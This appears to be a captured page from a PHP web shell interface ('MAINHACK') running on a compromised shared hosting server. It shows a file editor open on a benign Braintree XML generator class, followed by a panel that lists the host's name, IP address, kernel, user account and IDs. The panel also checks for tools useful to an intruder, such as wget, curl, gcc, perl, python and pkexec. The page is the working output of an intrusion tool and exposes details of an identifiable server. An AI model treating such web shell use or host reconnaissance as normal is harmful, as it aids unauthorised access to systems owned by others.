[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Generator.php
<?php namespace Braintree\Xml; use DateTime; use DateTimeZone; use XMLWriter; use Braintree\Util; /** * Generates XML output from arrays using PHP's * built-in XMLWriter */ class Generator { /** * arrays passed to this method should have a single root element * with an array as its value * @param array $aData the array of data * @return string XML string */ public static function arrayToXml($aData) { $aData = Util::camelCaseToDelimiterArray($aData, '-'); // set up the XMLWriter $writer = new XMLWriter(); $writer->openMemory(); $writer->setIndent(true); $writer->setIndentString(' '); $writer->startDocument('1.0', 'UTF-8'); // get the root element name $aKeys = array_keys($aData); $rootElementName = $aKeys[0]; // open the root element $writer->startElement($rootElementName); // create the body self::_createElementsFromArray($writer, $aData[$rootElementName], $rootElementName); // close the root element and document $writer->endElement(); $writer->endDocument(); // send the output as string return $writer->outputMemory(); } /** * Construct XML elements with attributes from an associative array. * * @access protected * @static * @param object $writer XMLWriter object * @param array $aData contains attributes and values * @return void */ private static function _createElementsFromArray(&$writer, $aData) { if (!is_array($aData)) { if (is_bool($aData)) { $writer->text($aData ? 'true' : 'false'); } else { $writer->text($aData); } return; } foreach ($aData AS $elementName => $element) { // handle child elements $writer->startElement($elementName); if (is_array($element)) { if (array_key_exists(0, $element) || empty($element)) { $writer->writeAttribute('type', 'array'); foreach ($element AS $ignored => $itemInArray) { $writer->startElement('item'); self::_createElementsFromArray($writer, $itemInArray); $writer->endElement(); } } else { self::_createElementsFromArray($writer, $element); } } else { // generate attributes as needed $attribute = self::_generateXmlAttribute($element); if (is_array($attribute)) { $writer->writeAttribute($attribute[0], $attribute[1]); $element = $attribute[2]; } $writer->text($element); } $writer->endElement(); } } /** * convert passed data into an array of attributeType, attributeName, and value * dates sent as DateTime objects will be converted to strings * @access protected * @param mixed $value * @return array attributes and element value */ private static function _generateXmlAttribute($value) { if ($value instanceof DateTime) { return ['type', 'datetime', self::_dateTimeToXmlTimestamp($value)]; } if (is_int($value)) { return ['type', 'integer', $value]; } if (is_bool($value)) { return ['type', 'boolean', ($value ? 'true' : 'false')]; } if ($value === NULL) { return ['nil', 'true', $value]; } } /** * converts datetime back to xml schema format * @access protected * @param object $dateTime * @return string XML schema formatted timestamp */ private static function _dateTimeToXmlTimestamp($dateTime) { $dateTimeForUTC = clone $dateTime; $dateTimeForUTC->setTimeZone(new DateTimeZone('UTC')); return ($dateTimeForUTC->format('Y-m-d\TH:i:s') . 'Z'); } private static function _castDateTime($string) { try { if (empty($string)) { return false; } $dateTime = new DateTime($string); return self::_dateTimeToXmlTimestamp($dateTime); } catch (Exception $e) { // not a datetime return false; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285